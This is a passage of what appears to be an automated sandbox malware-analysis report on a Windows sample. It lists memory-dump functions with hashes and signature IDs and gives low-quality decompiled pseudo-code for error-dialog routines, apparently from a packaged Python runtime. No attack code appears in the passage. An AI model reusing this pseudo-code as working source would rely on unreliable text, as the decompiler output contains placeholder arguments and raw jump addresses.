                                                                                                                              0x7ff7da8dc9c3
                                                                                                                              0x7ff7da8dc9cd
                                                                                                                              0x7ff7da8dc9d6
                                                                                                                              0x7ff7da8dc9fe

                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.330832121.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.330809729.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330933416.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA910000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331020191.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: CurrentImageNonwritableUnwind__except_validate_context_record
                                                                                                                              • String ID: csm$f
                                                                                                                              • API String ID: 2395640692-629598281
                                                                                                                              • Opcode ID: 7f3794147224920763e08c17acf18a5c560d4a612554ab5faf8e71f29923e20f
                                                                                                                              • Instruction ID: d86f09aefdc4c76ecc180d5bff5aea34767b59c0ecd124acaf2e1c6840482ecd
                                                                                                                              • Opcode Fuzzy Hash: 7f3794147224920763e08c17acf18a5c560d4a612554ab5faf8e71f29923e20f
                                                                                                                              • Instruction Fuzzy Hash: 1951E472A096029EFF56EB25E400A2DB395FB40B88FD88172DE4E5374ADF38E8518714
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FFCFD926D50 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 129networkCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.331776617.00007FFCFD8FD000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFCFD860000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.331752717.00007FFCFD860000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD861000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD86D000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD8C5000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD8D9000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD8E9000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFDAAC000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDAAE000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDAD9000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDB0A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDB30000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDB56000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333064516.00007FFCFDB7E000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333088610.00007FFCFDB84000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333101050.00007FFCFDB86000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333101050.00007FFCFDBA2000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333101050.00007FFCFDBA6000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ffcfd860000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: getnameinfohtonsmemset
                                                                                                                              • String ID: $..\s\crypto\bio\b_addr.c
                                                                                                                              • API String ID: 165288700-1606403076
                                                                                                                              • Opcode ID: c8881a5d91007ccee32ef70399f1b096503745744d2b4d63f2f9801de5830693
                                                                                                                              • Instruction ID: 8021bc4dda9c5d1b5425694f567625a9b1df56984008d95e1a466cfb2d09fc4c
                                                                                                                              • Opcode Fuzzy Hash: c8881a5d91007ccee32ef70399f1b096503745744d2b4d63f2f9801de5830693
                                                                                                                              • Instruction Fuzzy Hash: E651D531A186AA86FB209B51D0602B9F3A0EB40764F404035EBAE07AD5FF3DE955C7F4
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8D2240 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 81windowCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 53%
                                                                                                                              			E00007FF77FF7DA8D2240(void* __ebx, void* __rax, void* __rcx, void* __rdx, void* __r8) {
				void* __rbx;
				void* __rsi;
				void* __rbp;
				signed long long _t53;
				signed long long _t54;
				void* _t56;
				void* _t75;
				void* _t77;
				void* _t78;
				signed long long _t79;
				void* _t83;
				void* _t85;
				void* _t86;
				void* _t87;

				_t77 = _t78 - 0x20d0;
				E00007FF77FF7DA8DAD20(0x21d0, __rax, _t85, _t86);
				_t79 = _t78 - __rax;
				_t53 =  *0xda90d008; // 0xe3add53f52b8
				_t54 = _t53 ^ _t79;
				 *(_t77 + 0x20c0) = _t54;
				_t56 = __rcx;
				_t87 = __r8;
				_t75 = __rdx;
				GetModuleHandleW(??);
				r8d = 0x102;
				E00007FF77FF7DA8DC170();
				 *((intOrPtr*)(_t77 + 0x1fa0)) = 0x90cc0884;
				 *((long long*)(_t77 + 0x1fa4)) = _t77 + 0x1fb6;
				 *((short*)(_t77 + 0x1fb4)) = 0;
				 *((intOrPtr*)(_t77 + 0x1fac)) = 0xc80000;
				 *((intOrPtr*)(_t77 + 0x1fb0)) = 0x96;
				E00007FF77FF7DA8D2470(_t54, _t77 + 0x1fb6, __rdx, L"Unhandled exception in script", _t83);
				 *(_t79 + 0x38) = _t54;
				r8d = 0x2040;
				E00007FF77FF7DA8DC170();
				 *(_t79 + 0x30) = _t54;
				E00007FF77FF7DA8E5E94(_t54, _t56, _t56, _t54, _t77);
				 *(_t79 + 0x40) = _t54;
				E00007FF77FF7DA8E5E94(_t54, _t56, _t75, _t54, _t77);
				 *(_t79 + 0x48) = _t54;
				E00007FF77FF7DA8E5E94(_t54, _t56, _t87, _t54, _t77);
				 *(_t79 + 0x50) = _t54;
				r8d = 0;
				 *((long long*)(_t79 + 0x20)) = _t79 + 0x30;
				DialogBoxIndirectParamW(??, ??, ??, ??, ??);
				E00007FF77FF7DA8E3FEC(0,  *(_t79 + 0x40), _t77 + 0x1fa0, L"Unhandled exception in script");
				E00007FF77FF7DA8E3FEC(0,  *(_t79 + 0x48), _t77 + 0x1fa0, L"Unhandled exception in script");
				E00007FF77FF7DA8E3FEC(0,  *(_t79 + 0x50), _t77 + 0x1fa0, L"Unhandled exception in script");
				if ( *((intOrPtr*)(_t77 + 0x1f78)) == 0) goto 0xda8d2375;
				DeleteObject(??);
				if ( *((intOrPtr*)(_t77 + 0x1f80)) == 0) goto 0xda8d2387;
				DestroyIcon(??);
				return E00007FF77FF7DA8DACF0(__ebx, 0,  *(_t77 + 0x20c0) ^ _t79);
			}

















                                                                                                                              0x7ff7da8d2247
                                                                                                                              0x7ff7da8d2254
                                                                                                                              0x7ff7da8d2259
                                                                                                                              0x7ff7da8d225c
                                                                                                                              0x7ff7da8d2263
                                                                                                                              0x7ff7da8d2266
                                                                                                                              0x7ff7da8d226d
                                                                                                                              0x7ff7da8d2270
                                                                                                                              0x7ff7da8d2275
                                                                                                                              0x7ff7da8d2278
                                                                                                                              0x7ff7da8d2287
                                                                                                                              0x7ff7da8d2290
                                                                                                                              0x7ff7da8d2297
                                                                                                                              0x7ff7da8d22a1
                                                                                                                              0x7ff7da8d22af
                                                                                                                              0x7ff7da8d22b6
                                                                                                                              0x7ff7da8d22c3
                                                                                                                              0x7ff7da8d22d4
                                                                                                                              0x7ff7da8d22e2
                                                                                                                              0x7ff7da8d22e7
                                                                                                                              0x7ff7da8d22ed
                                                                                                                              0x7ff7da8d22f5
                                                                                                                              0x7ff7da8d22fa
                                                                                                                              0x7ff7da8d2302
                                                                                                                              0x7ff7da8d2307
                                                                                                                              0x7ff7da8d230f
                                                                                                                              0x7ff7da8d2314
                                                                                                                              0x7ff7da8d2319
                                                                                                                              0x7ff7da8d232a
                                                                                                                              0x7ff7da8d2334
                                                                                                                              0x7ff7da8d233c
                                                                                                                              0x7ff7da8d234a
                                                                                                                              0x7ff7da8d2354
                                                                                                                              0x7ff7da8d235e
                                                                                                                              0x7ff7da8d236d
                                                                                                                              0x7ff7da8d236f
                                                                                                                              0x7ff7da8d237f
                                                                                                                              0x7ff7da8d2381
                                                                                                                              0x7ff7da8d23a5

                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.330832121.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.330809729.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330933416.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA910000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331020191.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: DeleteDestroyDialogHandleIconIndirectModuleObjectParam
                                                                                                                              • String ID: Unhandled exception in script
                                                                                                                              • API String ID: 3081866767-2699770090
                                                                                                                              • Opcode ID: 78a4eda6ff4f3279ae2b51ce8934577bd0f30c98e0f1d87c80ea61d280b66d52
                                                                                                                              • Instruction ID: f8043560eada4e58eb0451c7882d38c1470269d90229690d852bb8d0fe82ef41
                                                                                                                              • Opcode Fuzzy Hash: 78a4eda6ff4f3279ae2b51ce8934577bd0f30c98e0f1d87c80ea61d280b66d52
                                                                                                                              • Instruction Fuzzy Hash: 5D317A32A08A8289FB25EB61E8441EDA360FF88794FC40176EE4D4BA5ADF3CD655C710
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FFCFD744538 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 70COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.331105965.00007FFCFD741000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFCFD740000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.331093235.00007FFCFD740000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD746000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD7A4000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD7F0000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD7F3000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD84C000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331709311.00007FFCFD84F000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331736095.00007FFCFD851000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ffcfd740000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: Arg_ArgumentReadyUnicode_
                                                                                                                              • String ID: a unicode character$argument$decomposition
                                                                                                                              • API String ID: 1875788646-2471543666
                                                                                                                              • Opcode ID: a080b61f372b97ddd36021a4b0696979c124d7943c3c3348c4d226086e0388bd
                                                                                                                              • Instruction ID: d3656c8a3d2683f89ca0c4abc32704594e58794118646ce128706148184f219a
                                                                                                                              • Opcode Fuzzy Hash: a080b61f372b97ddd36021a4b0696979c124d7943c3c3348c4d226086e0388bd
                                                                                                                              • Instruction Fuzzy Hash: A221A550A08A2AC1FF654B16D4723799261AF46B9AF444536CA2D4A2CCEF6CD845E3F0
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FFCFD7448F4 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 70COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.331105965.00007FFCFD741000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFCFD740000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.331093235.00007FFCFD740000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD746000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD7A4000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD7F0000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD7F3000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD84C000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331709311.00007FFCFD84F000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331736095.00007FFCFD851000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ffcfd740000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: Arg_ArgumentReadyUnicode_
                                                                                                                              • String ID: a unicode character$argument$east_asian_width
                                                                                                                              • API String ID: 1875788646-3913127203
                                                                                                                              • Opcode ID: e71a621fde4a066315d5ceca8de31c515b4bb48720bbad1bc05c4f42aedf660d
                                                                                                                              • Instruction ID: 0b9b01ddf7157a596df498a776191a62236b2e58ee7734db5355d5a644b3d710
                                                                                                                              • Opcode Fuzzy Hash: e71a621fde4a066315d5ceca8de31c515b4bb48720bbad1bc05c4f42aedf660d
                                                                                                                              • Instruction Fuzzy Hash: 8221D261A08A2AC2FB658B16C47137992519F46B8AF444037CAAD4B2CCFF6DD845F3F0
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8D2620 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 67windowCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 52%
                                                                                                                              			E00007FF77FF7DA8D2620(void* __eflags, void* __rax, long long __rcx, signed long long __rdx, long long __r8, long long __r9, long long _a8, signed long long _a16, char _a24, long long _a32, char _a1048, char _a2072, char _a4120, signed int _a6168, intOrPtr _a6224, char _a6232) {
				void* __rbx;
				void* __rsi;
				void* _t40;
				void* _t41;
				signed long long _t46;
				signed long long _t47;
				long long _t48;
				long long _t64;
				void* _t66;
				void* _t76;
				void* _t77;

				_a16 = __rdx;
				_a24 = __r8;
				_a32 = __r9;
				E00007FF77FF7DA8DAD20(0x1840, __rax, _t76, _t77);
				_t67 = _t66 - __rax;
				_t46 =  *0xda90d008; // 0xe3add53f52b8
				_t47 = _t46 ^ _t66 - __rax;
				_a6168 = _t47;
				_t64 = __rcx;
				E00007FF77FF7DA8D1040(GetLastError());
				_a16 =  &_a6232;
				r8d = 0x400;
				_a8 = 0;
				E00007FF77FF7DA8E3B34(_t40, _t41,  *_t47 | 0x00000002,  &_a1048, __r8, _a6224);
				E00007FF77FF7DA8D7420(_t24, _t47, __r8);
				_a16 = _t47;
				_a8 = _t64;
				E00007FF77FF7DA8D1B30(_t47,  &_a24,  &_a1048, "%s%s: %s",  &_a1048);
				r8d = 0x800;
				E00007FF77FF7DA8DC170();
				r8d = 0x400;
				E00007FF77FF7DA8D79A0(_t47, _t48,  &_a4120,  &_a24,  &_a6232, "%s%s: %s");
				if (_t47 == 0) goto 0xda8d2734;
				r8d = 0x400;
				E00007FF77FF7DA8D79A0(_t47, _t48,  &_a2072, "Fatal error detected",  &_a6232, "%s%s: %s");
				r9d = 0x30;
				MessageBoxW(??, ??, ??, ??);
				goto 0xda8d274e;
				r9d = 0x30;
				return E00007FF77FF7DA8DACF0(MessageBoxA(??, ??, ??, ??), 0, _a6168 ^ _t67);
			}














                                                                                                                              0x7ff7da8d2620
                                                                                                                              0x7ff7da8d2625
                                                                                                                              0x7ff7da8d262a
                                                                                                                              0x7ff7da8d2637
                                                                                                                              0x7ff7da8d263c
                                                                                                                              0x7ff7da8d263f
                                                                                                                              0x7ff7da8d2646
                                                                                                                              0x7ff7da8d2649
                                                                                                                              0x7ff7da8d2651
                                                                                                                              0x7ff7da8d2664
                                                                                                                              0x7ff7da8d2679
                                                                                                                              0x7ff7da8d267e
                                                                                                                              0x7ff7da8d2684
                                                                                                                              0x7ff7da8d2694
                                                                                                                              0x7ff7da8d269b
                                                                                                                              0x7ff7da8d26a0
                                                                                                                              0x7ff7da8d26b4
                                                                                                                              0x7ff7da8d26c3
                                                                                                                              0x7ff7da8d26d2
                                                                                                                              0x7ff7da8d26d8
                                                                                                                              0x7ff7da8d26dd
                                                                                                                              0x7ff7da8d26f0
                                                                                                                              0x7ff7da8d26f8
                                                                                                                              0x7ff7da8d26fa
                                                                                                                              0x7ff7da8d270f
                                                                                                                              0x7ff7da8d2714
                                                                                                                              0x7ff7da8d272c
                                                                                                                              0x7ff7da8d2732
                                                                                                                              0x7ff7da8d2734
                                                                                                                              0x7ff7da8d2768

                                                                                                                              APIs
                                                                                                                              • GetLastError.KERNEL32(00000000,00000000,00000000,00007FF7DA8D76B4,?,?,?,?,?,?,?,?,?,?,?,00007FF7DA8D101D), ref: 00007FF7DA8D2654
                                                                                                                                • Part of subcall function 00007FF7DA8D7420: GetLastError.KERNEL32(00000000,00007FF7DA8D26A0), ref: 00007FF7DA8D7447
                                                                                                                                • Part of subcall function 00007FF7DA8D7420: FormatMessageW.KERNEL32(00000000,00007FF7DA8D26A0), ref: 00007FF7DA8D7476
                                                                                                                                • Part of subcall function 00007FF7DA8D79A0: MultiByteToWideChar.KERNEL32 ref: 00007FF7DA8D79DA
                                                                                                                              • MessageBoxW.USER32 ref: 00007FF7DA8D272C
                                                                                                                              • MessageBoxA.USER32 ref: 00007FF7DA8D2748
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.330832121.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.330809729.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330933416.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA910000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331020191.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: Message$ErrorLast$ByteCharFormatMultiWide
                                                                                                                              • String ID: %s%s: %s$Fatal error detected
                                                                                                                              • API String ID: 2806210788-2410924014
                                                                                                                              • Opcode ID: be8159d4da1d623935737f66ca6ff985e81d9fc44c37ffb99e0b19b8c9617921
                                                                                                                              • Instruction ID: 2d6a88e73cbd17366423fdfdf4cd0b623453e611bc7719bc5bcfe24b5d30b087
                                                                                                                              • Opcode Fuzzy Hash: be8159d4da1d623935737f66ca6ff985e81d9fc44c37ffb99e0b19b8c9617921
                                                                                                                              • Instruction Fuzzy Hash: E6317C72628A8291FB21AB10E4506EEE364FB84784FC44037EE8D02A9ADF3CD615CB50
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FFCFD745148 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 50COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.331105965.00007FFCFD741000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFCFD740000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.331093235.00007FFCFD740000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD746000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD7A4000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD7F0000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD7F3000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD84C000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331709311.00007FFCFD84F000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331736095.00007FFCFD851000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ffcfd740000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: DoubleErr_Float_FromNumericStringSubtypeType_Unicode_
                                                                                                                              • String ID: not a numeric character
                                                                                                                              • API String ID: 1034370217-2058156748
                                                                                                                              • Opcode ID: a04d4ee890c6555e082b91d49744d7024a501f0aacbcd7dea3be52e51a61fffc
                                                                                                                              • Instruction ID: 8ee5253783916c4b73b1259f7b945d0b5950cafeffab3bc185d86742ebd5ac21
                                                                                                                              • Opcode Fuzzy Hash: a04d4ee890c6555e082b91d49744d7024a501f0aacbcd7dea3be52e51a61fffc
                                                                                                                              • Instruction Fuzzy Hash: B1115121A1CD6AC1FB578B25D430039E361AF46B82F144132C93E0A6D8FF2CE845C2B0
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FFCFD7444A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 45COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.331105965.00007FFCFD741000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFCFD740000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.331093235.00007FFCFD740000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD746000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD7A4000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD7F0000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD7F3000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD84C000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331709311.00007FFCFD84F000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331736095.00007FFCFD851000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ffcfd740000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: DecimalDigitErr_FromLongLong_StringSubtypeType_Unicode_
                                                                                                                              • String ID: not a decimal
                                                                                                                              • API String ID: 3750391552-3590249192
                                                                                                                              • Opcode ID: 92c24eafb3dd3b61828cdddad90d28d2aa921282fbfd3c7b39e7b4b7c37f5353
                                                                                                                              • Instruction ID: aa5491c99edc673f9023215db308b714dd9b5b5e870823057b3fb8331cabc060
                                                                                                                              • Opcode Fuzzy Hash: 92c24eafb3dd3b61828cdddad90d28d2aa921282fbfd3c7b39e7b4b7c37f5353
                                                                                                                              • Instruction Fuzzy Hash: 78119821B08D6AC1EF564B16E42017DE3A1AF46B9AF044433C92E4B6DCEF6CE445D3B0
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FFCFD7426B0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 31COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.331105965.00007FFCFD741000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFCFD740000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.331093235.00007FFCFD740000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD746000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD7A4000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD7F0000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD7F3000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD84C000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331709311.00007FFCFD84F000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331736095.00007FFCFD851000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ffcfd740000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: Mem_$Capsule_Err_FreeMallocMemory
                                                                                                                              • String ID: unicodedata._ucnhash_CAPI
                                                                                                                              • API String ID: 3673501854-3989975041
                                                                                                                              • Opcode ID: d423d1ca27b1cd8aa76e999a0690d59a939e6550e8d77c515964588a0c26f32e
                                                                                                                              • Instruction ID: 78d58d6232735c53ca2eeec303bf89e1fa06cc79797e5a36bfbd5077a0c13697
                                                                                                                              • Opcode Fuzzy Hash: d423d1ca27b1cd8aa76e999a0690d59a939e6550e8d77c515964588a0c26f32e
                                                                                                                              • Instruction Fuzzy Hash: 98F0C225A19F5AD5EB079B11A4641B9A2A5BF4A783F441433CD6D0A3D9FF2CE054C3B0
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8E8830 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.330832121.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
